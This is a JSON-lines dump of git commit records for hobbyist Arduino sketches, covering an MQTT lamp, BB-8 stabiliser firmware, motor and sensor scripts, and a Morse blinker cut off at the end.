{"commit":"d563f51ec35e793db6f61fc236cce276c9633cfd","subject":"Create familamp.ino","message":"Create familamp.ino","repos":"myk3y\/familamp","old_file":"familamp.ino","new_file":"familamp.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include <WiFiManager.h>\n#include <FastLED.h>\n \nconst char* mqttServer = \"m11.cloudmqtt.com\";\n\nconst char* mqttUser = \"xxxxxxxxx\"; \/\/ CloudMQTT Username\nconst char* mqttPassword = \"xxxxxxxxx\"; \/\/ CloudMQTT password\nconst int mqttPort = 11086;\n \nWiFiClient espClient;\nPubSubClient MQTT(espClient);\n \nvoid setup() {\n \n Serial.begin(115200);\n \n WiFiManager wifiManager; \/\/ wifi configuration wizard\n wifiManager.autoConnect(\"familamp\"); \/\/ configuration for the access point\n Serial.println(\"WiFi Client connected!)\");\n\n \n MQTT.setServer(mqttServer, mqttPort); \/\/ set MQTT sever and port - CloudMQTT in this case\n MQTT.setCallback(callback);\n \n while (!MQTT.connected()) {\n Serial.println(\"Connecting to MQTT...\");\n \n if (MQTT.connect(\"ESP8266Client\", mqttUser, mqttPassword )) {\n \n Serial.println(\"connected\"); \n \n } else {\n \n Serial.print(\"failed with state \");\n Serial.print(MQTT.state());\n delay(2000);\n \n }\n }\n \n MQTT.publish(\"FamiLamp\", \"Hello from familamp\");\n MQTT.subscribe(\"FamiLamp\");\n \n}\n \nvoid callback(char* topic, byte* payload, unsigned int length) {\n \n Serial.print(\"Message arrived in topic: \");\n Serial.println(topic);\n \n Serial.print(\"Message:\");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n \n Serial.println();\n Serial.println(\"-----------------------\");\n \n}\n \nvoid loop() {\n MQTT.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'familamp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"35c207276bc9a7ab076da8a7c02dc182d71a6c10","subject":"add test2 for the DIJN series","message":"add test2 for the DIJN series\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/DIJN\/test2\/test2.ino","new_file":"examples\/DIJN\/test2\/test2.ino","new_contents":"\/\/\/ @dir test2\n\/\/\/ Very simple demo sketch to transmit LDR light readings once a second\n\/\/ 2013-02-16 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include <JeeLib.h>\n\n#define LDR 0 \/\/ the LDR will be connected to AIO1, i.e. analog 0\n\nvoid setup () {\n \/\/ this is node 1 in net group 100 on the 868 MHz band\n rf12_initialize(1, RF12_868MHZ, 100);\n\n \/\/ need to enable the pull-up to get a voltage drop over the LDR\n pinMode(14+LDR, INPUT_PULLUP);\n}\n \nvoid loop () {\n \/\/ measure analog value and convert the 0..1023 result to 255..0\n byte value = 255 - analogRead(LDR) \/ 4;\n\n \/\/ actual packet send: broadcast to all, current counter, 1 byte long\n rf12_sendNow(0, &value, 1);\n\n \/\/ let one second pass before sending out another packet\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DIJN\/test2\/test2.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"dd11b421f5946957b322b077af9d95fdf544aee6","subject":"Create Slave-Board.ino","message":"Create Slave-Board.ino","repos":"Gruniek\/BB-UNIT,Gruniek\/BB-UNIT","old_file":"Firmware\/Ball\/Slave-Board\/Slave-Board.ino","new_file":"Firmware\/Ball\/Slave-Board\/Slave-Board.ino","new_contents":"String version = \"0.1.3\";\n\/*\n\n > FIRMWARE ONLY FOR AN ARDUINO NANO !! <\n > IF YOU USE ANOTHER ARDUINO, ADAPT THE PINOUT <\n \n ###################################################\n ______ ______ _ _ ______ _____ _______ \n (____ \\(____ \\ | | | | ___ \\(_____|_______)\n ____) )____) )__| | | | | | | | | | | \n | __ (| __ (___) | | | | | | | | | | \n | |__) ) |__) ) | |___| | | | |_| |_| |_____ \n |______\/|______\/ \\______|_| |_(_____)\\______)\n A open source project for create you own BB-8!\n ###################################################\n\n https:\/\/github.com\/Gruniek\/BB-UNIT\n Made by Daniel M\/Gruniek\/MOUS\n \n Compatible only with an Arduino Nano and the specific PCB.\n PCB Link : https:\/\/github.com\/Gruniek\/BB-UNIT\/tree\/master\/Head\/Stabiliser\/PCB\n \n --------------\n - Change log -\n --------------\n \n 11\/2016\n =========\n - FIX alls bug foe stabilisation\n - ADD BOOT, STAT, ROTATE command\n - ADD Z motor configuration and production\n - ADD BOOT mode, for initilize or reinizialize the Droid position\n \n 10\/2016\n ==========\n - Add PID for X and Y\n \n \n To do list\n ==========\n - Add Z rotation controller\n - Add Rx\/Tx from the motherboard for change de coordinate of the head, \n rotate the head and report to the remote the status off all sensors\/positiom.\n \n \n Big thanks for http:\/\/r2builders.fr\/ !\n Initial project : http:\/\/r2builders.fr\/forum\/viewtopic.php?f=26&t=3928&hilit=BB8+par+MOUS\n \n ===============\n EXEMPLE COMMAND \n ===============\n < SET >\n 'SET x87 y75 h3 \\n' \/\/ SET a new setpoint for x and y with 3degree of Hysteressis\n 'SET x90 y90 i1 j0 k1 \\n' \/\/ SET an inversion of the sensor X Y and invert the direction of X\n \n \tx = SETPOINT for X\n\ty = SETPOINT for Y\n\tm = MULTIPLIER FOR THE SPEED OF THE MOTOR X and Y\n\ti = INVERT the angle sensor ( X = Y and Y = X )\n\tj = INVERT the direction of X\n\tk = INVERT the direction of Y\n\th = SET a new HYSTERESSIS \n\n\n\n < BOOT > \n 'BOOT \\n' \/\/ LAUNCH TEST for X, Y and Z -> Return X and Y to initial SETPOINT (x90 y90 ) and Z to ZERO\n\n\n\n < RUN >\n 'RUN \\n' \/\/ RUN the code in production mode (Recieved all data, X and Y runing for the SETPOINT poistion and Z folow the remote controll\n \n < STOP > \n 'STOP \\n' \/\/ STOP the production mode. All motors are stopped.\n \n \n < ROTATE >\n 'ROTATE d1 s100 \\n' \/\/ ROTATE Z motor on the RIGHT DIRECTION (d0 LEFT, d1 RIGHT) WITH the SPEED at 1000\/100 = 10 step\/sec = 18dec\/sec\n \n \n < STAT >\n \/\/ It is all data SENDED to the MASTER-BOARD\n \n*\/\n\n#include \"Wire.h\"\n#include \"MPU6050.h\"\n\n\n\n\/\/ MOTOR CONFIGURATION \/\/ YOU CAN TOUCH THIS \n\n#define pinEnable 4 \/\/ Activation off all stepper\n\n#define pinStepX 3 \/\/ PIN STEP FOR X\n#define pinDirX 2 \/\/ PIN DIRECTION FOR X \n\n#define pinStepY 6 \/\/ PIN STEP FOR Y\n#define pinDirY 5 \/\/ PIN DIRECTION FOR Y\n\n#define pinStepZ 8 \/\/ PIN STEP FOR Y\n#define pinDirZ 7 \/\/ PIN DIRECTION FOR Y\n\n#define Z_POSITION 9 \/\/ PIN FOR THE DIGITAL INPUT FOR THE HEAD POSITION\n\nbool invertX = false; \/\/ INVERT THE X MOTOR DIRECTION\nbool invertY = true; \/\/ INVERT THE Y MOTOR DIRECTION\nbool invertXY = false; \/\/ INVERT X Y AXIAL \n\nint minX = 45; \/\/ SET THE MIN INCLINAISON FOR X\nint maxX = 135; \/\/ SET THE MAX INCLINAISON FOR X\nint minY = 45; \/\/ SET THE MIN INCLINAISON FOR Y\nint maxY = 135; \/\/ SET THE MAX INCLINAISON FOR Y\n\nint etalonX = 0; \/\/ AJUSTEMENT FOR X\nint etalonY = -6; \/\/ AJUSTEMENT FOR Y\n\nint hysteresis = 1; \/\/ HYSTERESSIS FOR THE ANGLE CALCULATION\n\n\n\/\/=====================\/\/\n\/\/ NOW YOU CAN'T TOUCH \/\/\n\/\/=====================\/\/\n\n\/\/ MPU6050\nMPU6050 accelgyro;\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n\n\/\/ I2C\nint adress = 2;\nint PING = 13; \/\/ PIN\nint PING_MASTER = 12;\n\/\/ VARIABLE\nint x = 0; \nint y = 0; \nint vx = 0; \nint vy = 0; \n\nint speedX = 0;\nint speedY = 0;\nint speedZ = 0;\nint setpointX = 90; \nint setpointY = 90; \n\nint Zangle = 0;\n\n\nint multiplier = 15;\nint emergencyStop = 11; \/\/ PIN\nint eStop = 12; \/\/ PIN\nbool emgStop = false;\n\nbool runX = false; \nbool runY = false; \nbool runZ = false;\nbool directX = false; \/\/ false = Gauche \/ true = droite\nbool directY = false; \/\/ false = Gauche \/ true = droite\nbool directZ = false; \/\/ false = Gauche \/ true = droite\n\nbool xok = false;\nbool yok = false;\nbool zok = false;\n\n\/\/ PID\nunsigned long previousMillisX = 0;\nunsigned long previousMillisY = 0;\nunsigned long previousMillisZ = 0;\n\nlong intX = 0;\nlong intY = 0; \n\n\nunsigned long trigGyro = 100;\nunsigned long trigSec = 1000;\nunsigned long trigG = 0;\nunsigned long trigS = 0;\n\n\nbool production = false;\nbool LED_PING = false;\nbool BOOT = false;\n\nbool ifPing = false;\nint tmpPing = 0;\nint tmpPing2 = 0;\nint pingMaster = 0;\n\n\/\/=============================================================================\/\/\n\/\/ SETUP\n\/\/=============================================================================\/\/\nvoid setup()\n{\n pinMode( pinEnable , OUTPUT );\n pinMode( pinDirX , OUTPUT );\n pinMode( pinStepX , OUTPUT );\n pinMode( pinDirY , OUTPUT );\n pinMode( pinStepY , OUTPUT );\n pinMode( PING , OUTPUT );\n pinMode( PING_MASTER , INPUT );\n pinMode( Z_POSITION , INPUT );\n \n \n Serial.begin(9600);\n \n Serial.println(\" \");\n Serial.println(\"#######################################\");\n Serial.println(\"# Astromech Industrie #\");\n Serial.println(\"# BB-UNIT #\");\n Serial.println(\"# https:\/\/github.com\/Gruniek\/BB-UNIT\/ #\");\n Serial.println(\"#######################################\");\n Serial.println(\" \");\n Serial.print(\" BB-8 Version \");\n Serial.println(version);\n Serial.println(\"===================\");\n Serial.println(\" \");\n \n Serial.print(\"Initializing I2C devices... I2C ADRESS :\");\n Serial.print(adress); \n Wire.begin(adress);\n \n accelgyro.initialize();\n Serial.print(\"Connect to the MPU6050 : \");\n \n Serial.println(accelgyro.testConnection() ? \"Connection successful\" : \"Connection failed\");\n \n Serial.println(\"Booting successful !\");\n Serial.println(\"====================\");\n \n\n}\n\n\/\/=============================================================================\/\/\n\/\/ LOOP\n\/\/=============================================================================\/\/\nvoid loop()\n{\n \/\/ GET MOTION\n \/\/-------------------------------------------------------------------------\/\/\n unsigned long currentG = millis(); \/\/ millis();\n\n if (currentG - trigG >= trigGyro) \n {\n \ttrigG = currentG;\n \n \n \taccelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n\t\tif(invertXY)\n\t\t{\n\t\t\ty = (((ax\/180)+etalonX)+90);\n \t\t\tx = (((ay\/180)+etalonY)+90);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tx = (((ax\/180)+etalonX)+90);\n \t\t\ty = (((ay\/180)+etalonY)+90);\n\t\t}\n }\n \n \/\/ GET SERIAL DATA\n \/\/-------------------------------------------------------------------------\/\/\n\t \n char msg[30];\n if (Serial.available() > 0)\n {\n \tSerial.readBytesUntil('\\n', msg, sizeof msg);\n\n \tif (strcmp(strtok(msg, \" \"), \"SET\") == 0)\n \t{\n \tSerial.println(\"UPDATE SETPOINT\");\n \t\t\/\/ trouv\u00e9 le message\n \t\tchar *p;\n \t\twhile ((p = strtok(NULL, \" \")) != NULL)\n \t\t{\n \t\tint val = atoi(p + 1);\n \t\tswitch (*p)\n \t\t{\n \t\t\tcase 'x': setpointX = val; break;\n \t\t\tcase 'y': setpointY = val; break;\n \t \t\t\tcase 'm': multiplier = val; break;\n \t\t\t\tcase 'i': invertXY = val; break;\n \t\t\t\tcase 'j': invertX = val; break;\n \t\t\t\tcase 'k': invertX = val; break;\n \t\t\t\tcase 'h': hysteresis = val; break;\n \t\t}\n \t\t}\n \t}\n \n \tif (strcmp(strtok(msg, \" \"), \"RUN\") == 0)\n \t{\n \tSerial.println(\"ROll BB-8 ROLL !\");\n \t production = true;\n \t emgStop = false;\n \t}\n \n \tif (strcmp(strtok(msg, \" \"), \"STOP\") == 0)\n \t{\n \t\tSerial.println(\"STOP\");\n \t production = false;\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"RESET\") == 0)\n \t{\n \t\tSerial.println(\"RESET\");\n \t production = false;\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"BOOT\") == 0)\n \t{\n \t\t\n \t BOOT = true;\n \t Serial.println(\"BOOTING UP...\");\n \t delay(2000);\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"ROTATE\") == 0) \/\/ ROTATE d1 s100 <-- Rotate Z right, 18c\/sec\n \t{\n \t\t\/\/ trouv\u00e9 le message\n \t\tchar *p;\n \t\twhile ((p = strtok(NULL, \" \")) != NULL)\n \t\t{\n \t\tint val = atoi(p + 1);\n \t\tswitch (*p)\n \t\t{\n \t\t\tcase 'd': directZ = val; break;\n \t\t\tcase 's': speedZ = val; break;\n \t\t}\n \t\t}\n \t}\n \t\n \t\n }\n \n if(BOOT)\n {\n \t \/\/ SET X IN POSITION\n \t\tif(x < 90) directX = false;\n \t\telse directX = true;\n \n \t\tif(invertX) \n \t\t{\n \t\tif(directX) directX = false;\n \t\telse directX = true;\n \t\t}\n \t\tdigitalWrite(pinDirX, directX); \/\/ dirX\n \t\t\n \t\tif(x > (setpointX + hysteresis) || (x < setpointX - hysteresis ))\n \t\t{\n \t digitalWrite(pinStepX, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepX, 0);\n \t delayMicroseconds( 500 );\n \t\t}\n \t\telse\n \t\t{\n \t\t\tif(!xok) \n \t\t\t{\n \t\t\t\tSerial.println(\"BOOT x1 \");\n \t\t\t\txok = true;\n \t\t\t\tdelay(2000);\n \t\t\t}\n \t\t}\n \t\t\n \t\t\n \t\t\/\/ SET Y IN POSITION\n \t\tif(y < 90) directY = false;\n \t\telse directY = true;\n \n \t\tif(invertY) \n \t\t{\n \t\tif(directY) directY = false;\n \t\telse directY = true;\n \t\t}\n \t\tdigitalWrite(pinDirY, directY); \/\/ dirX\n \t\t\n \t\tif(x > (setpointY + hysteresis) || (y < setpointY - hysteresis ))\n \t\t{\n \t digitalWrite(pinStepY, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepY, 0);\n \t delayMicroseconds( 500 );\n \t\t}\n \t\telse\n \t\t{\n \t\t\tif(!yok) \n \t\t\t{\n \t\t\t\tSerial.println(\"BOOT y1 \");\n \t\t\t\tyok = true;\n \t\t\t\tdelay(2000);\n \t\t\t}\n \t\t}\n \t\t\n \t\t\/\/ SET Z IN POSITION\n \t\t\n \t\tif(!Z_POSITION)\n \t\t{\n \t\t \tdigitalWrite(pinStepZ, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepZ, 0);\n \t delayMicroseconds( 500 );\t\n \t\t}\n \t\telse\n \t\t{\n \t\t \tif(!zok) \n \t\t\t{\n \t\t\t\tSerial.println(\"BOOT z1 \");\n \t\t\t\tzok = true;\n \t\t\t\tZangle = 0;\n \t\t\t\tdelay(2000);\n \t\t\t}\t\n \t\t}\n \t\t\n \t\tif( xok && yok && zok)\n \t\t{\n\t\t\tSerial.println(\"STAT b1 \");\n \t\t\tSerial.println(\"Booting UP OK!\");\n \t\t\tSerial.println(\"SEND 'RUN \\n' for start the production\");\n \t\t\tBOOT = false;\n \t\t}\n \n \n }\n \n\t\/\/ PRODUCTION CODE\n \/\/-------------------------------------------------------------------------\/\/ \n if(production && !emgStop) \/\/-\n { \n\n \t\t\/\/ X \/\/\n \n\t\t\/\/ Direction\n \t\tif(x < 90) directX = false;\n \t\telse directX = true;\n \n \t\tif(invertX) \n \t\t{\n \t\tif(directX) directX = false;\n \t\telse directX = true;\n \t\t}\n \t\tdigitalWrite(pinDirX, directX); \/\/ dirX\n \n \t\t\/\/ Si ont doit demarer le moteur\n \t\tif(x > (setpointX + hysteresis) || (x < setpointX - hysteresis )) \n \t\t{ \n \t\tif(x > minX && x < maxX) runX = true; \n \t\telse runX = false;\n \t\t}\n \t\telse runX = false;\n \n \t\t\/\/ Calcul du PID X\n \t\tif(x < 90) vx = (90 - x); \n \t\tif(x == 0) vx = 0;\n \t\tif(x > 90) vx = (x - 90);\n \n \t\tspeedX = 1000 \/ (vx);\n \t\tspeedX = speedX * multiplier; \/\/ DEL\n \t\tif(speedX < 15) speedX = 15;\n \n\t\t\/\/ Mise en route du moteur\n \t\tunsigned long currentX = millis();\n \t\t\n \tif (currentX - previousMillisX >= speedX) \n \t{\n \t\tpreviousMillisX = currentX;\n \n \t\tif(runX)\n \t\t{\n \t\tdigitalWrite(pinStepX, 1);\n \t\tdelayMicroseconds( 500 );\n \t\tdigitalWrite(pinStepX, 0);\n \t \t\tdelayMicroseconds( 500 );\n \t\t}\n \t\t}\n\n \t\t\/\/ Y \/\/\n \t\t\/\/ Direction\n \t\tif(y < 90) directY = false;\n \t\telse directY = true;\n \t\tif(invertY) \n \t\t{\n \t\tif(directY) directY = false;\n \t\telse directY = true;\n \t\t}\n \t\tdigitalWrite(pinDirY, directY);\n \n\t\t\/\/ Si ont doit demarer le moteur\n \t\tif(y > (setpointY + hysteresis) || (y < setpointY - hysteresis )) \n \t\t{ \n \t\tif(y > minY && y < maxY) runY = true; \n \t\telse runY = false;\n \t\t}\n \t\telse runY = false;\n \n \t\t\/\/ Calcul du PID Y\n \t\tif(y < 90) vy = (90 - y); \n \t\tif(y == 0) vy = 0;\n \t\tif(y > 90) vy = (y - 90);\n \n \t\tspeedY = 1000 \/ (vy);\n \t\tspeedY = speedY * multiplier; \/\/ DEL\n \t\tif(speedY < 15) speedY = 15;\n \n \t\t\/\/ Mise en route du moteur\n \t\tunsigned long currentY = millis(); \/\/ millis();\n\n \tif (currentY - previousMillisY >= speedY) \n \t{\n \t\tpreviousMillisY = currentY;\n \n \t\tif(runY)\n \t\t{\n \t\tdigitalWrite(pinStepY, 1);\n \t\tdelayMicroseconds( 500 );\n \t\tdigitalWrite(pinStepY, 0);\n \t\tdelayMicroseconds( 500 );\n \t\t}\n \t\t} \n \n \t\t\/\/--- Z\n \t\tif(speedZ != 0)\n \t\t{\n \t\t\tunsigned long currentZ = millis();\n \t\t\tif (currentZ - previousMillisZ >= speedZ) \n \t\t{\n \t\t\tpreviousMillisZ = currentZ;\n \n \t \t\tdigitalWrite(pinStepY, 1);\n \t \tdelayMicroseconds( 500 );\n \t \tdigitalWrite(pinStepY, 0);\n \t \tdelayMicroseconds( 500 );\n \t \tif(directZ) Zangle++;\n \t \telse Zangle--;\n \t\t\t} \n \t\t}\n \t\tif(Zangle == 201) Zangle = 0;\n \t\tif(Zangle == -1) Zangle = 0;\n \t\t\n \n } \/\/-\n \n \/\/ Check if the Master-Board are ALIVE\n \n if(digitalRead(PING_MASTER) && !ifPing)\n {\n \tifPing = true;\n \tpingMaster++;\n }\n \n if(digitalRead(PING_MASTER) && ifPing) ifPing = false;\n \n \n \t\/\/ SEND SERIAL DATA\n \/\/-------------------------------------------------------------------------\/\/ \n unsigned long currentS = millis(); \/\/ millis();\n\n if (currentS - trigS >= trigSec) \n {\n \ttrigS = currentS;\n \t\n \t\n \t\n \t\/\/ PING\n \tif(LED_PING) LED_PING = false;\n \telse LED_PING = true;\n \tdigitalWrite(PING, LED_PING);\n \t\n \t\n \ttmpPing2++;\n \t\n \tif(pingMaster > tmpPing) \n \t{\n \t\ttmpPing = pingMaster;\n \t\ttmpPing2 = 0;\n \t}\n \tif(tmpPing2 > 3) emgStop = true;\n \t\n \t\n \t\n \tif(!accelgyro.testConnection());\n \t{\n \t\tproduction = false;\n \t\temgStop = true;\n \t\taccelgyro.initialize();\n \t\tif(accelgyro.testConnection())\n \t\t{\n \t\t\tproduction = true;\n \t\t}\n \t}\n \t\n \t\n \t\n \t\n \t\n \t\/\/ SEND STATUT\n \tSerial.print(\"STAT x\");\n \tSerial.print(x);\n \tSerial.print(\" y\");\n \tSerial.print(y);\n \tSerial.print(\" i\");\n \tSerial.print(invertXY);\n \tSerial.print(\" j\");\n \tSerial.print(invertX);\n \tSerial.print(\" k\");\n \tSerial.print(invertY);\n \tSerial.print(\" m\");\n \tSerial.print(multiplier);\n \tSerial.print(\" z\");\n \tSerial.print(Zangle);\n \t\n \tSerial.println(\" \");\n \t\n \t\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmware\/Ball\/Slave-Board\/Slave-Board.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"88eee875abbb6102a69b0dcd6f9bbc68b7cb24e4","subject":"[Untested] Added outer wheel speed modifier","message":"[Untested] Added outer wheel speed modifier\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/_archive\/basicControllerCode\/basicControllerCode.ino","new_file":"software\/embedded\/Arduino Code\/_archive\/basicControllerCode\/basicControllerCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/_archive\/basicControllerCode\/basicControllerCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"23b41895aa34f3efbf7ce4fb70c3d7af957411ec","subject":"Create cpu.ino","message":"Create cpu.ino","repos":"ioangogo\/CPUMeter","old_file":"cpu.ino","new_file":"cpu.ino","new_contents":"\/\/ A Cpu meter, Copyright Ioan Loosley\n\nint meter = 11; \/\/ blue LED in Digital Pin 9 (PWM)\nint old = 0;\nint failcount = 1000;\nvoid setup(){\n Serial.begin(9600);\n pinMode(meter,OUTPUT); \/\/ tell arduino it's an output\n \/\/ test and set all the outputs to low\n digitalWrite(meter,LOW);\n Serial.setTimeout(300);\n for(int x = 255;x =< 0;x--){analogWrite(meter,x);delay(100); }\n}\n \nvoid loop(){\n int msg;\n \n msg = Serial.read();\n \n int x = int(msg);\n if(x == -1){\n return;\n }\n \n analogWrite(meter,x);old=x;Serial.println(x,HEX);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cpu.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a24bb430599bf5148a9ab5e14f03bcf6896d48d4","subject":"add serial io driving script","message":"add serial io driving script\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/serial-driving.ino","new_file":"testing\/arduino\/serial-driving.ino","new_contents":"\/\/ Wheel encoder\nconst byte interrupt1Pin = 2;\nint interrupt1Count = 0;\nint previousInterrupt1Count = 0;\n\nconst byte interrupt2Pin = 3;\nint interrupt2Count = 0;\nint previousInterrupt2Count = 0;\n\nint previousMillis1 = 0;\nint previousMillis2 = 0;\n\nconst int stepsPerRevelation = 20;\nconst int distanceInMMPerRevelation = 220;\n\n\n\/\/ Motor\nconst uint8_t motorPin1_1 = A3;\nconst uint8_t motorPin1_2 = A2;\nconst uint8_t motorEnablePin1 = 5;\nbool motorDirectionIsForward1 = true;\n\nconst uint8_t motorPin2_1 = A5;\nconst uint8_t motorPin2_2 = A4;\nconst uint8_t motorEnablePin2 = 6;\nbool motorDirectionIsForward2 = true;\n\n\n\nvoid setup() {\n \/\/Wheel encoder\n pinMode(interrupt1Pin, INPUT);\n pinMode(interrupt2Pin, INPUT);\n attachInterrupt(digitalPinToInterrupt(interrupt1Pin), EncoderRotationCount1, RISING);\n attachInterrupt(digitalPinToInterrupt(interrupt2Pin), EncoderRotationCount2, RISING);\n\n\n \/\/ Motor\n pinMode(motorPin1_1, OUTPUT);\n pinMode(motorPin1_2, OUTPUT);\n\n pinMode(motorPin2_1, OUTPUT);\n pinMode(motorPin2_2, OUTPUT);\n\n\n Serial.begin(230400);\n}\n\nvoid SendWheelData()\n{\n Serial.print(\"Wheel\");\n Serial.print(\"|\");\n Serial.print(millis());\n Serial.print(\"|\");\n SendSerialDataHelper(1);\n Serial.print(\"|\");\n SendSerialDataHelper(2);\n Serial.println(\"\");\n}\n\n\nvoid SendSerialDataHelper(int id)\n{\n int interruptCount = 0;\n int interruptCountDelta = 0;\n int timeDelta = 0;\n if(id == 1)\n {\n interruptCountDelta = interrupt1Count - previousInterrupt1Count;\n timeDelta = millis() - previousMillis1;\n previousMillis1 = millis();\n interruptCount = interrupt1Count;\n previousInterrupt1Count = interrupt1Count;\n }\n if(id == 2)\n {\n interruptCountDelta = interrupt2Count - previousInterrupt2Count;\n timeDelta = millis() - previousMillis2;\n previousMillis2 = millis();\n interruptCount = interrupt2Count;\n previousInterrupt2Count = interrupt2Count;\n }\n\n Serial.print(id);\n Serial.print(\"|\");\n Serial.print(timeDelta);\n Serial.print(\"|\");\n Serial.print(interruptCount);\n Serial.print(\"|\");\n Serial.print(interruptCountDelta);\n}\n\nvoid EncoderRotationCount1() {\n if(motorDirectionIsForward1)\n {\n interrupt1Count++;\n }\n else\n {\n interrupt1Count--;\n }\n}\n\nvoid EncoderRotationCount2() {\n if(motorDirectionIsForward2)\n {\n interrupt2Count++;\n }\n else\n {\n interrupt2Count--;\n }\n}\n\n\n\n\nvoid SetMotor(int id, int speed)\n{\n if(id == 1)\n {\n motorDirectionIsForward1 = (speed >= 0);\n SetMotorWorker(motorPin1_1, motorPin1_2, motorEnablePin1, speed);\n }\n\n if(id == 2)\n {\n motorDirectionIsForward2 = (speed >= 0);\n SetMotorWorker(motorPin2_1, motorPin2_2, motorEnablePin2, speed);\n }\n}\n\nvoid SetMotorWorker(int pin1, int pin2, int enablePin, int speed)\n{\n analogWrite(enablePin, abs(speed));\n\n if (speed < 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 255);\n }\n\n if (speed > 0)\n {\n analogWrite(pin1, 255);\n analogWrite(pin2, 0);\n }\n\n if (speed == 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 0);\n }\n}\n\n\n\n\n\n\n\n\nvoid loop() {\n SendWheelData()\n\n\n delay(200);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/serial-driving.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"049a0591b9151aa28f643761c833439c10ea2ad5","subject":"Create loopFunctions.ino","message":"Create loopFunctions.ino","repos":"martinloland\/rov,martinloland\/rov","old_file":"arduino\/loopFunctions.ino","new_file":"arduino\/loopFunctions.ino","new_contents":"SENS readSensors() {\n SENS temp;\n\n temp.pressure = 3024;\n temp.temp = 18.3;\n temp.volt = 10.8;\n temp.gyr.ax = 0;\n temp.gyr.ay = 0;\n temp.gyr.az = 0;\n temp.gyr.compass = 0;\n\n temp = mpuLoop(temp); \/\/ read orientation\n\n return temp;\n}\n\nACT communicate(SENS sens) {\n ACT temp;\n if (Serial.available() > 0) {\n \/\/Receive data\n String incoming = Serial.readString();\n\n \/\/ Send data back\n String sending = createString(sens);\n Serial.println(sending);\n }\n\n return temp;\n}\n\nACT communicateProto(SENS sens) {\n ACT temp;\n if (Serial.available() > 0) {\n \/\/Receive data\n String incoming = Serial.readString();\n }\n\n \/\/ Send data back\n String sendString = createString(sens);\n Serial.println(sendString);\n\n return temp;\n}\n\nString createString(SENS sens) {\n String str = \"SENSORS,\";\n str += \"press:\";\n str += sens.pressure;\n str += \",temp:\";\n str += sens.temp;\n str += \",volt:\";\n str += sens.volt;\n str += \",roll:\";\n str += sens.gyr.roll;\n str += \",yaw:\";\n str += sens.gyr.yaw;\n str += \",pitch:\";\n str += sens.gyr.pitch;\n str += \",ax:\";\n str += sens.gyr.ax;\n str += \",ay:\";\n str += sens.gyr.ay;\n str += \",az:\";\n str += sens.gyr.az;\n str += \",compass:\";\n str += sens.gyr.compass;\n\n return str;\n}\n\nvoid moveActuator(ACT act) {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/loopFunctions.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"02c4f71b0929b58599aa4578ce6b8ef9bf2df0c2","subject":"finished with switch case break","message":"finished with switch case break\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"37e1e02b5de1efc63b43890ff4a6e9fde3999e9b","subject":"The most basic of them all with a ton of copy\/paste","message":"The most basic of them all with a ton of copy\/paste\n","repos":"bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013","old_file":"people\/twobeers83\/Week4\/Arduino\/MorseBasic\/TZ_Assignment4Basic\/TZ_Assignment4Basic.ino","new_file":"people\/twobeers83\/Week4\/Arduino\/MorseBasic\/TZ_Assignment4Basic\/TZ_Assignment4Basic.ino","new_contents":"\/* \n\"What hath God wrought\" in morse code\nA \u00b7 \u2014\nD \u2014 \u00b7 \u00b7\nG \u2014 \u2014 \u00b7\nH \u00b7 \u00b7 \u00b7 \u00b7\nO . space .\nR \u00b7 space \u00b7 \u00b7\nT \u2014\nU \u00b7 \u00b7 \u2014\nW \u00b7 \u2014 \u2014\n*\/\n\n\/\/ defining ledPin on pin no.13\nconst int ledPin = 13;\n\n\n\/\/ Duration of blinks and pauses\nint dah = 300;\nint dit = 70;\nint space = 